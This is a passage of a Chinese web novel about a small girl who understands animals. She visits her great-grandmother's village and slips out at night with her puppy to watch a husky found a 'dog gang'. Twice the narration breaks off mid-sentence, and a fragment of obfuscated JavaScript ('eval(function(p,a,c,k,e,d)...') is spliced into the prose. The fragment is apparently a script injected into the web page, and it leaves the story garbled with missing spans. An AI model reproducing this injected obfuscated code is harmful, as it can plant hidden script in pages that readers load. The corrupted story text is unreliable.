舒念对哈士奇口中的狗子第一寨完全不关心，但是听到去了张家村，就能拿到很多狗粮和罐头，她就有些蠢蠢欲动了。 可问题是，她不知道张家村怎么走。 就算知道，自己一个小孩儿，也不能随便去。 老师说过的，小孩子不能随便离开家里，没有大人陪伴，很容易被坏人抱走的。 “小黄。” 舒念蹲在墙角跟，有一下没一下摸着狗头。 小黄狗对哈士奇的邀请挺向往，瞅了眼小主人，说道：“念念，我们可以去参加大花的狗子第一寨成立仪式吗？” 虽然不知道具体情况，但听起来好像很厉害的样子。 舒念想了下，点头，而后又摇头，“自己，不能去。” 小黄狗跟着点头，“是哦，念念你还小，不能偷跑出去玩呢。” 一人一犬齐齐望天，心情低落。 傍晚，干完一天活的老黄牛回家了。 它听闻舒念的情绪，甩甩尾巴说：“那就让奶奶带你去。” “奶奶？” “是啊，你奶奶是张家村的人嘞，我以前还随她一起去过那里，我想想啊……哦对了！你太奶还住在张家村呢！” 一旁大公鸡扑棱翅膀，跟着出主意，“念念，你就和奶奶说，你要去看你太奶，鬼节那天不能走夜路，你就可以住在太奶家。这样，你就可以去找那只黑白大狗了。” 17. 第17章 张桂花十分惊讶，孙女竟然主动和自己提要求了。 虽然不知道孩子怎么知道她太奶的存在，也可能是儿子偶尔提起的吧？ 总之，面对舒念的主动，张桂花欣喜不已，几乎没有思考就点头答应下来。 “念念要去看你太奶啊？可真是个乖孩子，好好好，改明儿我就带你去走一走。” 舒念拽着奶奶的衣角，又说：“现在，就去。” “今天就去？”张桂花讶异。 舒念惦记着狗粮，点点头。 张桂花拗不过，也舍不得拒绝，最后只说道：“那你让奶奶再想一想。” 午饭后，老两口坐在一起聊天。 张桂花说起早上发生的事情，有些犹豫，“念念咋这么积极呢？她好像也没见过她太奶啊？” 唐庆国的父母早早去世，没有体会过多少长辈的关爱，而老伴儿的父亲也去世的早，剩下一个母亲。 所以无论是女儿还是女婿，都格外珍惜这个唯一还活着的老人。 唐庆国自己本身，也是每个月要去隔壁村看望丈母娘一次。 一来是送些瓜果蔬菜，二来是确认老人家身体是否安好。 这会儿见老伴儿还犹豫，很干脆就说：“那你在家里头，我带着念念去，正好给老娘送俩西瓜过去。” “不用，我自个儿过去看看老娘，家里还有牛啊猪啊，你得照看着。” 两人说定，各自分工明确。 然而临近出发，赵大宝死活不乐意了。 他还心心念念和二狗等小朋友的约定，每天下午的时间安排的满满当当，哪里走得开哦！ “外婆，我不去，我要留下陪外公。外公一个人在家，我可不放心了。” 赵大宝说完，又拍拍妹妹的肩膀，一副小大人的姿态，“妹妹，你要好好照顾外婆哦！” 张桂花顿时笑岔，“你个鬼灵精，说话一套一套的，别以为我不知道你在想什么。不去就不去吧，不过在家里得乖，我明儿就回来。” 又是一番交代，张桂花从杂物间推出小三轮，把两只西瓜放进去。 然后，又往里头摆了一张竹制的小椅子。 “念念，奶奶抱你上去。” 舒念往前走了两步，想到什么，忽然蹲下，一把抱起小黄狗。 “念念，咱去太奶那，可不是在村子里耍，狗崽子搁家里啊！” “要去。” 舒念记得很清楚，那只大狗狗邀请的是自己和小黄狗，所以一个都不能少。 小黄狗依偎在小主人的怀里，乖巧极了，甚至呜咽两声，湿漉漉的眼睛看向对面。 “奶奶，小黄会乖，一定不乱跑，绝对不会添麻烦。” 张桂花被一人一犬直白注视，心里顿时软得不行，很干脆连人带狗放进三轮车里。 就这样，一步一摇，骑着小三轮慢悠悠朝张家村去。 舒念这么些年，回爷爷奶奶家的次数，一只手数得过来，更不必说去隔壁村太奶家。 这是她第一次逛邻村，一路上看着绿油油的稻田，听着蝉鸣声声，即便是炎热的大夏天，却依旧觉得心里凉快极了。 闭上眼睛，嗅一嗅随风飘过来的青草气息，只觉整个人都舒坦。 张桂花每骑个五六分钟，就会回头看一眼孩子，确认孙女没有不适，这才继续往前。 约莫半个小时，一老一少抵达张家村。 舒念感受到张家村的热情，她和奶奶一进村子，就有许多老人招手说话。 等到一户小院门前停下，就见一个矮小的老太太利索走来，一把将门拉开。 “你咋来了，大热天的，出了啥事啊？” 老太太满头银发，脸上都是褶子，眼睛更是浑浊，但那流露出的神情，若是温暖之极。 张桂花赶紧下三轮，一把扶住老太太，“我的娘嘞，一大把年纪，你可别跑了，万一摔了，可是要命哦！” “我腿脚好得很，你赶紧说说，咋过来了？” “我看我亲娘，还要挑日子不成！” 张桂花侧过身，露出身后的两个大西瓜，说是来送瓜果的。 然而老太太却是第一时间注意到坐在三轮车里的小娃娃，瞧着唇红齿白的小孩儿，眼睛登时发亮。 “你带谁来了啊？” “你曾孙女。” “振杰的女娃娃啊？” “哎，是的嘞。” “个娃娃长得真是好看，像年画里跳出来的一样，这不是在省城住着嘛？” “回来过暑假呢，就想着带过来给你瞧瞧。” 孙女的情况，张桂花并没有说起。一是自己老娘压根不懂，二是不想老人家无故担心。 舒念抱着小黄狗，偷偷打量自己的这位太奶，在和对方眼神对上时，又快速地躲开。 老太太叫田苗，丈夫去世的早，只有一个女儿，也就是张桂花。 虽说女儿女婿孝顺，但她还是不愿意搬去永唐村和他们一起住，更愿意自己一个人待在张家村。 习惯清净的老太太，唯独喜欢小孩儿。 但她对曾孙辈的印象，一直停留在赵大宝身上，那个小曾孙啊，咋咋呼呼的，跟个猴儿一样。 今天冷不丁来个这么大反差的孩子，乖巧，安静，漂亮。 怎么看怎么喜欢。 “你叫念念啊，到太奶这里来，太奶瞧瞧。” 老太太从裤兜里翻出一个塑料袋，慢悠悠打开，而后从里头掏出一个布袋，再打开，从中摸出一张皱巴巴的五十元纸币。 “拿着，买糖吃去。” 舒念被塞了个满怀，不仅有零花钱，还有一把黄白色的糖块。 “太奶刚称的，花生糖，好吃着呢。” 老太太表达喜爱的情绪很直接，眼睛里写满了喜悦，这样热烈直白的感情，舒念几乎不用理解，就能感受得到。 她想到老师教的，接受长辈的东西要说“谢谢”。 她喜欢这个太奶，对方看自己的眼神，就像一汪水。 “谢谢。” 舒念握住手里的东西，生硬的做出表达。 老太太高兴极了，摸了下孩子的头，这才挥挥手，“玩儿去吧，村子里的大路在外头，边上都是小路，没得车子。” 张桂花不放心，张家村对孩子来说，完全就是一个陌生的地方。 这要是在村子里走丢了，怎么办？ 舒念想起约定，想起那只大狗狗说的话，心里焦急，想要去找。 她感觉到奶奶对自己似乎很纵容，只要拉一拉衣袖，一直看着对方，就能得到想要的。 于是走过去，拽住对方的衣袖口，一句话不说，黑白分明的大眼睛一直盯着瞧。 张桂花被看得心软，瞧了眼日头，这才说道：“念念啊，现在太热了，等太阳落山了，奶奶带你在村子里转转？” “念念，我们不急呢，那个什么仪式，好像是在晚上。”小黄狗在旁边叫唤。 舒念明白了，索性跟在奶奶身边，开始逛起太奶的小院。 这个院子比不得爷爷奶奶家的大，但是也很有意思。 舒念在院子后面发现了一只母鸡，但是这只母鸡很不一样，它不会躲在鸡窝里，反而在院子里跑来跑去。 母鸡知道舒念能听懂自己的话，一整只差点吓傻。 回过神，“咯咯哒”叫个不停，“人类幼崽，你好厉害，你要吃鸡蛋吗？我刚刚下了一个。” 舒念蹲在鸡窝边，拿着一根小木棍戳泥，好久才摇摇头。 母鸡依旧热情，和对方讲述自己在这片小院子里的快活日子。 “念念，我想出去看看，问问同类它们，那只大花狗住在哪里？”小黄狗忽然叫了声。 舒念却是想起那一日，许多中华田园犬将自己围住，它们那么高那么壮，看着还很凶。 再看自己的小黄狗，好小一只，会被欺负的吧？ “一起。”舒念摸摸小黄狗的脑袋。 鉴于张桂花三令五申，舒念没有走出去太远，就在院门口待着，为了表示自己的乖巧，甚至搬了一把小凳子坐着。 偶然有路过的狗子，小黄狗都会叫两声，试图打招呼沟通。 有些不搭理外来狗，看一眼就走了。 有些甚至会呲牙咧嘴，表示自己的地盘不可侵犯。 好不容易等到一只差不多大小的狗子，小黄狗更加热情，“汪汪！你好呀，请问你知道一只叫大花的大狗，它住在哪里吗？” 博美出门溜达，没承想居然碰到一只乡下小狗子，对方还认识大花？ “你也要加入狗子第一寨？” 博美想起自家兄弟的那个奇葩狗寨，十分心累，却还是好心劝说，“你太小只，会吃亏的。” 那个狗子十八寨，完全就是上山下河，到处疯狂的汪汪队。 “没有成年的狗子，我们一般不允许加入。” 小黄狗顿时愣住，这只小狗崽子，也就比自己大那么一点儿，怎么还说教起来了？ “喂！你也比我大不了多少，你能加入，我不能？”小黄狗已经忘了之前的询问目的。 博美却是笑眯眯，“小狗崽子，我不是中华田园犬，我是宠物狗，是只博美。你看我小，但我比你大得多了。” “宠物狗？” “对，一只生活在县城里的宠物狗。” 博美想起先前问话，这才说道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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博美站在旁边，看一人一犬的互动，终于恍然回神，原来眼前这个人类幼崽，就是它兄弟大花口中的神奇人物。 “所以，你也能听得懂动物说话？” 博美很好奇，这个世界，自家铲屎官居然不是唯一。 舒念不太愿意接触博美，和对方注视，就好像看到了大人的感觉，这让她有些不适。 但到底是毛茸茸，她还是点头回答了。 博美又问了几个问题，肉眼可见小孩儿情绪变得紧张，于是很知趣的结束话题。 再瞅了眼自己兄弟，一副天真蠢萌的憨样儿，什么也不知道，一个劲儿的往对方怀里钻。 博美也想让这个人类幼崽摸一摸，想要感受下兄弟所说的快乐，但是它做不到和哈士奇一样没心没肺。 最后，只能将念头藏在心里。 张桂花走过去寻人，见到孙女和一只毛茸大狗站在一起，定眼一看，才发觉这狗子自己见过。 “呀！这不是隔三差五到我家偷吃红薯的狗子吗？” 李翠花闻声走过来，瞧了眼说：“这是我家孙子养的，那只小的博美，是我儿媳养的，两人都忙，搁乡下让我们两个老的照看些日子。” “咋，这狗子还跑去隔壁村偷吃了？”李翠花又是一句。 张桂花说起之前的事情，倒也不在意，“张婶，这狗子大得很，你得看牢了，万一被打去可就坏了。” “大夏天的，没人吃狗肉。” 李翠花摆摆手，顿了下，又笑了，“大花这狗子啊，聪明着呢，天一黑就窝家里头，可乖。” 博美站在一边，听着直翻白眼：乖个屁哦！每天三更半夜跑出去，今天晚上又要出去通宵了。 舒念想到狗粮，生怕自己走了，约定就不能兑现。 于是拽着哈士奇的脑袋，紧紧不撒手。 张桂花准备带孙女回家，却见孩子一直拉着张家的狗子，实在难为情。 “念念啊，咱家也有狗，你看，小黄在边上看着你呢！” 舒念不放手，这是她的狗粮来源。 哈士奇也喜欢，想了想，很干脆跟上舒念一起往外走。 一边走一边喊：“奶奶，毛毛哥，我去念念家吃晚饭了。” “带回家，吃饭。”舒念重复哈士奇的话。 这下子，倒是轮到李翠花不好意思，自家这只大狗子，一顿能造一脸盆，怎么好意思去别人家蹭饭。 猪都没它能吃！ 18. 第18章 最终，哈士奇还是跟着舒念回家了，它自带口粮，迈着二五八万的嚣张步伐，咧开嘴笑得像是一只二傻子。 李翠花准备的狗粮很多，生怕自家狗子在别人家丢脸。 哈士奇吃了一半，剩下的一半通通送给小黄狗。 趁着对方嚼吧嚼吧时，开始灌输夜晚即将举行的重大仪式注意事项。 舒念站在一旁听，越听越迷糊：为什么要等到月亮升到半空中时？为什么要整个村子里静悄悄才能行动？为什么…… “大花。” 舒念一把薅住狗头，扯了下对方的毛，“晚上，睡觉。” 哈士奇一整只狗惊呆住，“念念，你不会以为我们狗子十八寨是什么随随便便的组织吧？这么重要的成立仪式，当然要集合整个村子的狗力啊！” 在农村，家家户户都熄灯入睡了，这个时候的村子是最安静的。 也唯有这时，村子里的各条大路小路，没有车辆来往，就成了动物们的天堂。 而所有动物中，中华田园犬占据上风，成为主要势力。 哈士奇给舒念科普农村狗子的自由活动时间，而后一脸无奈，“没办法的哦，狗子也不想在半夜举行，但是我的狗兄狗弟们，就半夜得空嘞！” 按照哈士奇的想法，最好选个大白天，而且在人最多的村文化大礼堂，就那个小广场上，得劲儿！ 哈士奇在舒念太奶家只待了半小时，紧接着就离开，去筹备自己的大事。 临走前，又叮嘱一句，“念念，你晚上不要睡过去，我让毛毛哥来接你。” 舒念的晚饭吃地心不在焉，一想到自己大半夜要偷偷爬起来，带着小黄狗出门，一颗心就扑通扑通跳得厉害。 这是做坏事吧？ 做坏事，奶奶会不高兴吧？ 如果被发现了，该怎么办？ 舒念的潜意识里，已然接受夜晚的行动，然而小小年纪的她，却并不知道这一点。 甚至还在纠结，自己到底要不要去？ 晚上八点半，张桂花带着孙女洗漱，而后将孩子安排在自己的房间里。 舒念不肯走进去，眉头拧成一团，心想：和奶奶在一起，晚上偷偷起床，被发现了怎么办？ 张桂花却以为孙女不习惯和别人一起睡，想到孩子的特殊情况，很干脆把房间让出来。 “咱念念是大孩子了，勇敢的很，能一个人睡是不是？” 舒念抬头，清澈的眼睛眨了眨，没听懂。 张桂花整理好床铺，拍拍枕头，笑眯眯说：“你自个儿睡，奶奶去隔壁睡，晚上有事记得喊。” 顿了顿，又说一句，“我房门掩着，你要是睡不着，就直接推进来找奶奶。” 张桂花离开，舒念和小黄狗躺在床上，一人一犬大眼瞪小眼。 时间缓缓流逝，似乎很快，又似乎很慢。 不知过去多久，小黄狗忽然耳朵动了动，从床上跳下去。 它跑到门边瞅了瞅，回头激动说道：“念念，来狗了！” 博美在小院外等了很久，终于等到人类幼崽和小黄狗走出来。 等对方走近了，这才看清楚，眼前的人类小孩儿，竟然是穿着睡衣睡裤。 哦，脚上还是拖鞋。 “你这样子，出去？”博美不确定问。 舒念看了眼自己，完全没意识到问题，想了想问：“我，不能去吗？” 去，怎么不能去，你可是大花邀请的唯一一个人类见证者，那只蠢狗在一众狗中，可是夸下海口了。 唉，算了，大夏天的，应该也不会着凉。 如果被蚊子咬，那就是小孩儿自己的问题，和狗没关系。 博美想了很多，最后一句话没说，转身开始带路。 舒念跟在后头，走得很慢，这是她第一次看到农村的夜晚。 乡间的小路很安静，没有一点人声。 乡间的小路又不安静，到处都能听到蛙鸣鸟叫。 抬头看，满天都是闪烁的星星，密密麻麻，数也数不清。 在城市里，舒念从来没有见过这么多星星。 在城市里，她半夜醒来，偷偷拉开窗帘往下看，马路上的灯一盏接连一盏。它们总是亮着，还有汽车一直开来开去。 黑夜，好像不属于城市。 走啊走，走啊走，绕了一条又一条小路，舒念终于抵达举办仪式的小广场。 就是村子中央的一座废弃土楼，土楼是四合院的样式，中间有块空地。 空地延伸出去就是旁边大马路，正好有三个台阶，形成天然的高低水平台。 此时，空地上已经站了不少中华田园犬，夜色下，它们的毛发颜色大多看不太清楚，但一只只的体型却是一目了然。 都是成年犬，长得很壮硕。 别说小黄狗这么一只奶狗，就是舒念站在一旁，也显得瘦小。 “承蒙广大狗兄狗弟不嫌弃，我在乡下这些日子，与你们同甘共苦，这是我狗生中最难忘最愉快的时光……” 哈士奇站在台阶最高处，仰着脖子，慷慨激昂发表演讲。 洋洋洒洒长篇大论，说的头头是道，让一众中华田园犬信服。 “城市里的狗就是有文化。” “大花还是很聪明的，肯定得到张爷爷的真传。” “狗子十八寨有点意思，加入看看，村子里好久没有这么热闹了。” 舒念听到周围这些狗子们的议论，它们说话声音很低，却又肆无忌惮。 直到，其中一只狗子，发现她的存在。 “人类幼崽？她怎么在这儿？” “村子里丢小孩儿了？” “好面生啊，哪家的小崽子大半夜迷路了？” 说话间，三五只狗子走过去，将人团团包围。甚至凑上前，时不时嗅一嗅。 舒念顿时紧张极了，抱着毛绒狗手足无措。 小黄狗绕着小主人脚边转圈圈，冲眼前的大狗们低吼，“走开，走开！不准伤害我家念念。” “哟，小狗崽子。毛都没长齐，跑来参加仪式呢！” “哪家的狗，不知天高地厚，小心长不大就被炖狗肉了。” “哈哈哈，别这么说，这狗崽子脚掌挺大，要是能活到长大，一准儿是只大狗。” 狗太多，声音太杂，舒念并没有听清楚多少。 但那句“炖狗肉”，却是实打实传入耳朵里。 舒念一把抱起小黄狗，紧紧抱住，眼神戒备极了，“不能吃。” “人类幼崽还挺凶。” 舒念眉头皱起，重复说道：“不能吃。” “这孩子住在附近的吧？穿着睡衣就跑出来了。” 舒念感受到大狗们似乎并不在意自己，它们好像不知道，她已经听懂它们的“恶毒”言论了。 这么可恶的行为，一定要吓唬它们。 舒念喜欢毛茸茸，但不喜欢陌生的毛茸茸将自己围住，那种被包围的窒息感让人很不舒服。 可是今晚，为了保护小黄狗，她忽然来了勇气，与这些成年狗子们，展开“舌战”。 大狗们后知后觉，终于发现一个惊人的事实：这个人类幼崽，好像能够听懂它们说话？ “这是人类幼崽吗？” “不，这一定是狗精，它悄悄变成人了。” “大花说的对，我们老祖宗是哮天犬，是会法术会变身的神犬。” “真厉害啊，原来狗能成精，就是变成人类幼崽，法力有点弱。” 哈士奇的开场仪式演讲终于结束，正准备进入下一环节，却被博美打断了。 “大花，你的人类小朋友，似乎遇到了麻烦。” 博美是不愿掺和这些的，今晚能来，也是被哈士奇缠得没办法。 哈士奇终于注意到空地角落的情况，尾巴一甩，大步奔跑过去。 它挤开一众狗子，将舒念护在身后，大声说道：“别吵吵，这是我的朋友，她和黄仔是来见证我们狗子十八寨成立的。” “不是狗精吗？”有狗子不死心。 哈士奇一脸懵逼，哪来的狗精？这里所有狗加起来，也没它一只聪明。 “没有狗精，只有朋友。”哈士奇再次重申。 说完扭头，毛茸大尾巴甩啊甩，“念念别怕，它们都太激动了，并不会伤害你的。” 经哈士奇调和，舒念终于得到一众狗子们的认可，得知舒念和小黄狗是邻村的，甚至开始热情好客起来。 “邻村来的嘛，早晚得回去，张家村的狗子不能耍横，要团结友爱。” “大花说过，狗子十八寨要源源不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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博美在旁冷哼一声，“大花你别忘了，铲屎官走之前让你减肥的，快一百斤的重量，你还好意思炫耀？小心三高。” “毛毛哥，你别嫉妒嘛，大不了你也上来。” “你闭嘴吧！一天天就知道吃，早晚变成哈士猪。” 舒念对哈士奇实在好奇，坐上一只狗狗是什么样的感觉，真的太期待了。 于是顺着自己的心意，当真坐了上去。 哈士奇站起来时，舒念吓了一大跳，立即俯身抱住狗脖子。 和老黄牛不一样，哈士奇的毛发更浓密茂盛，坐上去的感觉，就好像陷入一团棉花里。 随着哈士奇一步一步往前走，那感觉怎么形容呢，好似有人在轻轻地弹棉花。 “舒服吧？我和你说哦，狗子第一次驮人呢！” “我很想驮铲屎官的，但是驮不动，铲屎官一百多斤，压死狗了。” “狗子只有九十斤咩，比铲屎官轻三十斤，铲屎官驮狗子应该很轻松的，可是他就不干。” “可恶！我这么漂亮纯正的哈士奇，铲屎官竟然不抱我，良心不会痛嘛……” 舒念听哈士奇一路念叨，快到小院门口时，才将自己放下。 “念念，明天再找你玩儿啊！” 哈士奇说完，扭头冲进黑夜中。 小黄狗跟着舒念悄咪咪回房间，一人一犬重新躺回床上。 到底是个孩子，玩了这么一场，精神放松后，疲惫感顿时来袭。 舒念第一次感觉到困，很累很累，眼皮打架，几乎睁不开了。 小黄狗窝在小主人怀里，一直等到对方呼吸平稳，彻底熟睡后，这才睁开眼。 它的眼睛黑黝黝，湿漉漉，碧绿碧绿的，好像在发光。 瞅了好一会儿，小黄狗脑袋蹭蹭对方，轻声说：“念念，等我长大，你就可以坐我背上了。” 今天晚上的仪式，小黄狗深受震撼，同时也意识到自己的弱小。 它要快快长大，长得比所有大狗都要大，这样就可以保护小主人，再也不会让她害怕了。 它要快快长大，长得比哈士奇还要大，这样小主人就不用坐别的狗，只坐自己背上了。